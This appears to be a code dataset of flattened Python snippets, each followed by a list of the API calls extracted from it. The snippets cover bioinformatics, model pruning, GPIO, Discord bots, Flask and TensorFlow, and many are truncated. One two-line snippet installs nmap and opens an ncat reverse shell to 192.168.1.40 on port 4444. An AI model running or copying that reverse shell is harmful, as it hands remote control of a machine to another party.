[((585, 656), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {'description': '"""Predicts transmembrane proteins."""'}), "(description='Predicts transmembrane proteins.')\n", (608, 656), False, 'import argparse\n'), ((1356, 1387), 'biotoolbox.read_fasta', 'biotoolbox.read_fasta', (['arg.file'], {}), '(arg.f...
import os import json import httplib2 HTTP_CLIENT = httplib2.Http() ## def get_env(key, default=None): if key in os.environ: return os.environ[key] return default ## def parse_opts(args): data = {} for arg in args: key, val = arg.split('=', 1) # make a list out of any key sp...
[ "httplib2.Http", "json.loads", "json.dumps" ]
[((54, 69), 'httplib2.Http', 'httplib2.Http', ([], {}), '()\n', (67, 69), False, 'import httplib2\n'), ((1310, 1336), 'json.dumps', 'json.dumps', (['data'], {'indent': '(2)'}), '(data, indent=2)\n', (1320, 1336), False, 'import json\n'), ((677, 693), 'json.dumps', 'json.dumps', (['data'], {}), '(data)\n', (687, 693), F...
from abc import ABC, abstractmethod from collections import OrderedDict import numpy as np import pandas as pd from .mask import mask_module from .modules import MaskedModule from .utils import get_params import tempfile, pathlib import torch class Pruning(ABC): """Base class for Pruning operations """ ...
[ "tempfile.TemporaryDirectory", "collections.OrderedDict", "numpy.prod", "pathlib.Path", "torch.load", "torch.save", "pandas.DataFrame" ]
[((3099, 3128), 'tempfile.TemporaryDirectory', 'tempfile.TemporaryDirectory', ([], {}), '()\n', (3126, 3128), False, 'import tempfile, pathlib\n'), ((3148, 3179), 'pathlib.Path', 'pathlib.Path', (['self._handle.name'], {}), '(self._handle.name)\n', (3160, 3179), False, 'import tempfile, pathlib\n'), ((3490, 3557), 'tor...
from Coach import Coach # from othello.pytorch.NNet import NNetWrapper as nn # from othello.OthelloGame import OthelloGame as Game # from othello.tensorflow.NNet import NNetWrapper as nn from binpack.tensorflow.NNet import NNetWrapper as nn from binpack.BinPackGame import BinPackGame as Game from utils import * args ...
[ "Coach.Coach", "binpack.BinPackGame.BinPackGame", "binpack.tensorflow.NNet.NNetWrapper" ]
[((759, 787), 'binpack.BinPackGame.BinPackGame', 'Game', (['HEIGHT', 'WIDTH', 'N_TILES'], {}), '(HEIGHT, WIDTH, N_TILES)\n', (763, 787), True, 'from binpack.BinPackGame import BinPackGame as Game\n'), ((800, 805), 'binpack.tensorflow.NNet.NNetWrapper', 'nn', (['g'], {}), '(g)\n', (802, 805), True, 'from binpack.tensorf...
#!/usr/bin/env python3 import Jetson.GPIO as GPIO import time GPIO.setmode(GPIO.BOARD) GPIO.setup(7, GPIO.OUT, initial=GPIO.LOW) while True: print("Turning on") GPIO.output(7, GPIO.LOW) time.sleep(2*60) print("turning off") GPIO.output(7, GPIO.LOW) time.sleep(2*60) GPIO.cleanup()
[ "Jetson.GPIO.setmode", "Jetson.GPIO.setup", "time.sleep", "Jetson.GPIO.output", "Jetson.GPIO.cleanup" ]
[((63, 87), 'Jetson.GPIO.setmode', 'GPIO.setmode', (['GPIO.BOARD'], {}), '(GPIO.BOARD)\n', (75, 87), True, 'import Jetson.GPIO as GPIO\n'), ((88, 129), 'Jetson.GPIO.setup', 'GPIO.setup', (['(7)', 'GPIO.OUT'], {'initial': 'GPIO.LOW'}), '(7, GPIO.OUT, initial=GPIO.LOW)\n', (98, 129), True, 'import Jetson.GPIO as GPIO\n')...
import discord from discord.ext import commands import random bot = commands.Bot(command_prefix='!') @bot.command() async def roll(ctx, number): try: arg = random.randint(1, int(number)) except ValueError: await ctx.send("What the fuck is that???") else: await ctx.send(str(arg)) bot.run('TOKEN'...
[ "discord.ext.commands.Bot" ]
[((69, 101), 'discord.ext.commands.Bot', 'commands.Bot', ([], {'command_prefix': '"""!"""'}), "(command_prefix='!')\n", (81, 101), False, 'from discord.ext import commands\n')]
# -*- coding:utf-8 -*- import math import DST_Graph import DST_Queue # 词梯问题 def BuildWordGraph(file): with open(file) as f: word_data = f.readlines() buckets = {} for line in word_data: for i in range(len(line)-1): bucket = line[:i] + '_' + line[i+1:] if bucket no...
[ "DST_Queue.queue_test", "DST_Graph.Graph" ]
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# Title: 오르막 수 # Link: https://www.acmicpc.net/problem/11057 import sys sys.setrecursionlimit(10 ** 6) read_single_int = lambda: int(sys.stdin.readline().strip()) def solution(n: int): if n == 1: return 10 d = [[0 for _ in range(10)] for _ in range(n+1)] for i in range(10): d...
[ "sys.stdin.readline", "sys.setrecursionlimit" ]
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import json import requests from src.const import (QueryType, TDS_QA_ENDPOINT, WIKIFIER_ENDPOINT, WIKIFIER_THRESHOLD) def get_query_type(query: str) -> QueryType: if not query: return QueryType.EMPTY_QUERY elif query.startswith('explore:'): return QueryType.EXPLORE_QUERY elif query.startsw...
[ "json.loads", "json.dumps", "requests.request" ]
[((952, 1015), 'json.dumps', 'json.dumps', (["{'query': search_query, 'num_results': num_results}"], {}), "({'query': search_query, 'num_results': num_results})\n", (962, 1015), False, 'import json\n'), ((1119, 1179), 'requests.request', 'requests.request', (['"""POST"""', 'url'], {'headers': 'headers', 'data': 'payloa...
''' This file is a part of Test Mile Arjuna Copyright 2018 Test Mile Software Testing Pvt Ltd Website: www.TestMile.com Email: support [at] testmile.com Creator: <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a cop...
[ "arjuna.core.utils.file_utils.get_extension", "arjuna.tpi.Arjuna.get_logger", "arjuna.core.utils.file_utils.normalize_path", "arjuna.core.utils.sys_utils.fexit", "os.path.join", "arjuna.core.utils.file_utils.get_nonext_basename", "os.path.dirname", "arjuna.tpi.Arjuna.get_console", "os.walk" ]
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from os.path import dirname, join from typing import Callable, Optional from dronebuilder.utils.storage import setting from kivymd.uix.filemanager import MDFileManager class DroneFileManager: def __init__( self, opentype: str = "open", select_callback: Optional[Callable[[str], None]] = No...
[ "dronebuilder.utils.storage.setting.add_to_recent_files", "dronebuilder.utils.storage.setting.set_last_path", "dronebuilder.utils.storage.setting.get_last_path", "os.path.join", "kivymd.uix.filemanager.MDFileManager", "os.path.dirname" ]
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# $Id: test.py c5bb15998025 2010-03-03 dangyogi $ # coding=utf-8 # # Copyright © 2008 <NAME> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitatio...
[ "MySQLdb.connect", "doctest.testmod", "sqlgen.load_mysql_schema.load_schema", "pyke.test.init" ]
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# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: object_detection/protos/region_similarity_calculator.proto """Generated protocol buffer code.""" from google.protobuf import descriptor as _descriptor from google.protobuf import descriptor_pool as _descriptor_pool from google....
[ "google.protobuf.descriptor_pool.Default", "google.protobuf.reflection.GeneratedProtocolMessageType", "google.protobuf.symbol_database.Default" ]
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""" Misc / Weird actions can go here """ import random from action import Action from progue.utils.actor_constants import ATTRIBUTE_IDLE, ATTR_VALUE, MAX_TURNS, CURRENT_TURN, RANGE class ActionIdle(Action): """ Used for lazy monsters """ def __init__(self, actor): Action.__init__(self, actor=actor, u...
[ "random.random", "action.Action.__init__", "random.randrange" ]
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#! python3 import os from setuptools import setup, find_packages # read the contents of your README file this_directory = os.path.abspath(os.path.dirname(__file__)) with open(os.path.join(this_directory, 'README.md')) as f: long_description = f.read() setup ( name = "merge_pdf", version = "1.0.0", description...
[ "os.path.dirname", "setuptools.find_packages", "os.path.join" ]
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from django.contrib import admin from django.contrib.auth.admin import UserAdmin from .models import Address, Category, Product UserAdmin.list_display += ('notify', ) UserAdmin.list_filter += ('notify', ) UserAdmin.fieldsets += (('notify', {'fields': ('notify', )}), ) @admin.register(Address) class AddressAdmin(adm...
[ "django.contrib.admin.register" ]
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import os os.system("apt-get install -y nmap") os.system("ncat 192.168.1.40 4444 -e /bin/bash")
[ "os.system" ]
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""" __Author__ : <NAME> __desc__ : file for training an NCC model based on the data which has been genereated """ import tensorflow as tf import json import os from collections import Counter import random import numpy as np import pickle class NCCTrain(object): def __init__(self,fileName,trainSplitR...
[ "numpy.array", "tensorflow.control_dependencies", "tensorflow.nn.dropout", "tensorflow.reduce_mean", "numpy.mean", "tensorflow.placeholder", "tensorflow.Session", "tensorflow.concat", "tensorflow.nn.sigmoid", "os.path.isdir", "os.mkdir", "numpy.concatenate", "tensorflow.layers.batch_normaliz...
[((1605, 1640), 'os.path.join', 'os.path.join', (['self.saveDir', '"""model"""'], {}), "(self.saveDir, 'model')\n", (1617, 1640), False, 'import os\n'), ((1661, 1698), 'os.path.join', 'os.path.join', (['self.saveDir', '"""summary"""'], {}), "(self.saveDir, 'summary')\n", (1673, 1698), False, 'import os\n'), ((1706, 173...
"""A module which implements the time frequency estimation. Authors : <NAME> <<EMAIL>> License : BSD 3-clause Multitaper wavelet method """ import warnings from math import sqrt import numpy as np from scipy import linalg from scipy.fftpack import fftn, ifftn from .utils import logger, verbose from .dpss import dp...
[ "numpy.convolve", "numpy.log10", "matplotlib.pyplot.ylabel", "math.sqrt", "scipy.fftpack.fftn", "numpy.array", "numpy.arange", "matplotlib.pyplot.imshow", "numpy.mean", "numpy.where", "matplotlib.pyplot.xlabel", "numpy.asarray", "numpy.exp", "numpy.empty", "warnings.warn", "numpy.abs",...
[((1280, 1303), 'numpy.atleast_1d', 'np.atleast_1d', (['n_cycles'], {}), '(n_cycles)\n', (1293, 1303), True, 'import numpy as np\n'), ((2512, 2531), 'numpy.asarray', 'np.asarray', (['newsize'], {}), '(newsize)\n', (2522, 2531), True, 'import numpy as np\n'), ((2547, 2566), 'numpy.array', 'np.array', (['arr.shape'], {})...
import os import pytesseract import requests from PIL import Image # Get CAPTCHA image & extract text class CaptchaHandler: def __init__(self): self.filename = 'solved_captcha.png' def get_captcha(self, src): img = requests.get(src) with open(self.filename, 'wb') as captcha_image: ...
[ "PIL.Image.open", "requests.get", "os.remove" ]
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#!/usr/bin/env python import sys BAR = '\n\n' + ('-' * 74) + '\n\n' for f in sys.argv: inman = False for line in open(f): if inman: if line.startswith('**man-end'): inman = False sys.stdout.write(BAR) else: sys.stdout.write(line)...
[ "sys.stdout.write" ]
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import unittest import math from kivy3 import Vector3, Vector4, Vector2 # good values for vector 3, 4, 12, 84 class Vector3Test(unittest.TestCase): def test_create(self): v = Vector3(1, 2, 3) self.assertEquals(v[0], 1) self.assertEquals(v[1], 2) self.assertEquals(v[2], 3) ...
[ "unittest.main", "kivy3.Vector2", "kivy3.Vector3", "math.degrees" ]
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#!/usr/bin/env python3 '''Test total energies for a small set of systems.''' import eminus from eminus import Atoms, read_xyz, SCF from numpy.testing import assert_allclose # Total energies calculated with PWDFT.jl for He, H2, LiH, CH4, and Ne with same parameters as below Etot_ref = [-2.54356557, -1.10228799, -0.7659...
[ "numpy.testing.assert_allclose", "eminus.Atoms", "eminus.read_xyz", "eminus.SCF" ]
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from rest_framework import serializers from core.models import Tag, Ingredient, Recipe class TagSerializer(serializers.ModelSerializer): class Meta: model = Tag fields = ('id', 'name') read_only_fields = ('id',) class IngredientSerialzer(serializers.ModelSerializer): class Meta: ...
[ "core.models.Ingredient.objects.all", "core.models.Tag.objects.all" ]
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import pytest from sympathor.parser import ParsePaths class TestParser(): @pytest.fixture(params=[ ('tests/files/test_ok_1.svg', True), # multiple paths ('tests/files/test_ok_2.svg', True), # no paths ('tests/files/test_ok_3.svg', True), # no svg tag ('tests/files/test_ok_4.svg'...
[ "pytest.fixture", "pytest.raises", "sympathor.parser.ParsePaths" ]
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# coding=utf-8 import pytest from devpi_builder import requirements def test_read_requirements(): expected = [ ('progressbar', '2.2'), ('six', '1.7.3') ] assert expected == requirements.read_exact_versions('tests/fixture/sample_simple.txt') def test_multiple_versions(): expected = ...
[ "devpi_builder.requirements.matched_by_list", "devpi_builder.requirements.read_raw", "devpi_builder.requirements.read_exact_versions", "pytest.raises" ]
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#! /usr/bin/env python from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import argparse import sys import tensorflow as tf from model import model_params from model import transformer tf.compat.v1.disable_v2_behavior() _EXTRA_DECODE_LENGTH = 100...
[ "tensorflow.compat.v1.placeholder", "tensorflow.compat.v1.variable_scope", "tensorflow.compat.v1.disable_v2_behavior", "tensorflow.compat.v1.gfile.GFile", "argparse.ArgumentParser", "tensorflow.compat.v1.logging.set_verbosity", "model.transformer.Transformer", "tensorflow.compat.v1.graph_util.convert_...
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import math def add(a, b): return a + b def ceil(number): return math.ceil(number) def divide(a, b): return a / b def floor(number): return math.floor(number) def max(numbers): if len(numbers) == 0: return max = float('-inf') for number in numbers: if number > max: max = number return...
[ "math.ceil", "math.floor" ]
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import yaml import control # Import the relevant command modules. # These self-subscribe to the control hanlder, but need to get imported import schedule_commands import team_commands import scores_commands import match_commands def command(cmd): responses = [] control.handle(cmd, responses.append) retur...
[ "yaml.load", "control.handle" ]
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"""phylobook URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.1/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-bas...
[ "django.contrib.auth.views.PasswordResetDoneView.as_view", "django.contrib.auth.views.PasswordResetCompleteView.as_view", "django.urls.include", "django.contrib.auth.views.LogoutView.as_view", "django.contrib.auth.views.PasswordChangeView.as_view", "django.contrib.auth.views.PasswordResetConfirmView.as_vi...
[((1082, 1113), 'django.urls.path', 'path', (['"""admin/"""', 'admin.site.urls'], {}), "('admin/', admin.site.urls)\n", (1086, 1113), False, 'from django.urls import path, include, re_path\n'), ((1185, 1260), 'django.urls.path', 'path', (['"""password_reset"""', 'views.password_reset_request'], {'name': '"""password_re...
import heapq import sys heap = [] n = int(input()) for _ in range(n): x = int(sys.stdin.readline()) if x == 0: try: print(heapq.heappop(heap)) except: print(0) else: heapq.heappush(heap, x)
[ "sys.stdin.readline", "heapq.heappush", "heapq.heappop" ]
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# -*- coding: utf-8 -*- """ Created on Mon ‎May 21 21:08:09 2018 @author: <NAME> """ # System Utilities import os import io import sys import gc import traceback # Email and Text processing import email from email.header import decode_header import re import uuid # unique ID # Data handling and analytics tools impo...
[ "traceback.format_exc", "re.compile", "timeit.default_timer", "io.BytesIO", "uuid.uuid1", "email.header.decode_header", "gc.collect", "pandas.DataFrame", "re.sub", "re.findall" ]
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#!./venv/bin/python from flask import Flask, render_template # creates the app instance using the name of the module app = Flask( __name__, template_folder='templates' ) print(__name__, " app created.") # DEBUG ONLY # https://replit.com/talk/learn/Flask-Tutorial/36529 @app.route('/') # Route the Function def ma...
[ "flask.render_template", "flask.Flask" ]
[((127, 171), 'flask.Flask', 'Flask', (['__name__'], {'template_folder': '"""templates"""'}), "(__name__, template_folder='templates')\n", (132, 171), False, 'from flask import Flask, render_template\n'), ((393, 427), 'flask.render_template', 'render_template', (['"""index.html"""'], {'x': 'x'}), "('index.html', x=x)\n...
from astropy.io import fits as pyfits import pyregion import warnings import numpy class FitsRegionFile(object): def __init__(self, filename, minimumSize=0): with pyfits.open(filename) as f: header = f['EVENTS'].header self.X = f['EVENTS']....
[ "warnings.warn", "pyregion.parse", "astropy.io.fits.open" ]
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import numpy as np import pytest from probnum.diffeq.perturbedsolvers import _perturbation_functions random_state = np.random.mtrand.RandomState(seed=1) @pytest.fixture def step(): return 0.2 @pytest.fixture def solver_order(): return 4 @pytest.fixture def noise_scale(): return 1 @pytest.fixture d...
[ "pytest.mark.parametrize", "numpy.testing.assert_allclose", "numpy.random.mtrand.RandomState", "numpy.sum" ]
[((118, 154), 'numpy.random.mtrand.RandomState', 'np.random.mtrand.RandomState', ([], {'seed': '(1)'}), '(seed=1)\n', (146, 154), True, 'import numpy as np\n'), ((356, 485), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""perturb_fct"""', '[_perturbation_functions.perturb_uniform, _perturbation_functions.\n...
import pdb import json import arrow import rdflib import pandas as pd from functools import reduce def updater(x, y): x.update(y) return x from building_depot import DataService, BDError from bd3client.CentralService import CentralService as bd3cs from bd3client.Sensor import Sensor as bd3sensor from bd3client...
[ "pandas.Series", "functools.reduce", "bd3client.Sensor.Sensor", "building_depot.DataService", "arrow.get", "json.load", "bd3client.CentralService.CentralService", "bd3client.Timeseries.Timeseries", "json.dump" ]
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#!/usr/bin/env python """Train stacking ensemble for tagging.""" import argparse import logging import sklearn.feature_extraction import sklearn.linear_model import ensembling import stack import textproto def main(args): all_sentences = list(ensembling.read_all_sentences(args.hypo)) with open(args.gold, "r...
[ "logging.basicConfig", "argparse.ArgumentParser", "ensembling.read_all_sentences", "stack.Stack", "stack.tags", "textproto.read_sentences", "stack.all_tags" ]
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# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. import numpy as np from rl import online_learners as ol from rl.online_learners import base_algorithms as balg def get_learner(optimizer, policy, scheduler, max_kl=None): """ Return an first-order optimizer. """ x0 ...
[ "rl.online_learners.base_algorithms.Adam", "numpy.random.geometric", "numpy.where", "rl.online_learners.base_algorithms.RobustAdaptiveSecondOrderUpdate", "numpy.random.multinomial", "numpy.sum", "rl.online_learners.base_algorithms.AdaptiveSecondOrderUpdate", "rl.online_learners.base_algorithms.TrustRe...
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from typing import List from deeppavlov.core.common.registry import register @register("sentseg_restore_sent") def SentSegRestoreSent(batch_words: List[List[str]], batch_tags: List[List[str]]) -> List[str]: ret = [] for words, tags in zip(batch_words, batch_tags): if len(tags) == 0: ret.a...
[ "deeppavlov.core.common.registry.register" ]
[((81, 113), 'deeppavlov.core.common.registry.register', 'register', (['"""sentseg_restore_sent"""'], {}), "('sentseg_restore_sent')\n", (89, 113), False, 'from deeppavlov.core.common.registry import register\n')]
import uvicorn as uvicorn from fastapi import FastAPI, Request, Response from fastapi.staticfiles import StaticFiles from starlette.middleware.sessions import SessionMiddleware from dspback.config import get_settings from dspback.database.models import SessionLocal from dspback.routers import authentication, repositor...
[ "fastapi.FastAPI", "fastapi.Response", "uvicorn.run", "dspback.database.models.SessionLocal", "fastapi.staticfiles.StaticFiles", "dspback.config.get_settings" ]
[((373, 382), 'fastapi.FastAPI', 'FastAPI', ([], {}), '()\n', (380, 382), False, 'from fastapi import FastAPI, Request, Response\n'), ((493, 533), 'fastapi.staticfiles.StaticFiles', 'StaticFiles', ([], {'directory': '"""dspback/schemas"""'}), "(directory='dspback/schemas')\n", (504, 533), False, 'from fastapi.staticfil...
import os import numpy as np import pandas as pd import h5py from bmtk.utils.sonata.utils import add_hdf5_magic, add_hdf5_version def create_single_pop_h5(): h5_file_old = h5py.File('spike_files/spikes.old.h5', 'r') node_ids = h5_file_old['/spikes/gids'] timestamps = h5_file_old['/spikes/timestamps'] ...
[ "pandas.Series", "pandas.read_csv", "bmtk.utils.sonata.utils.add_hdf5_version", "bmtk.utils.sonata.utils.add_hdf5_magic", "os.path.join", "h5py.File", "numpy.uint64" ]
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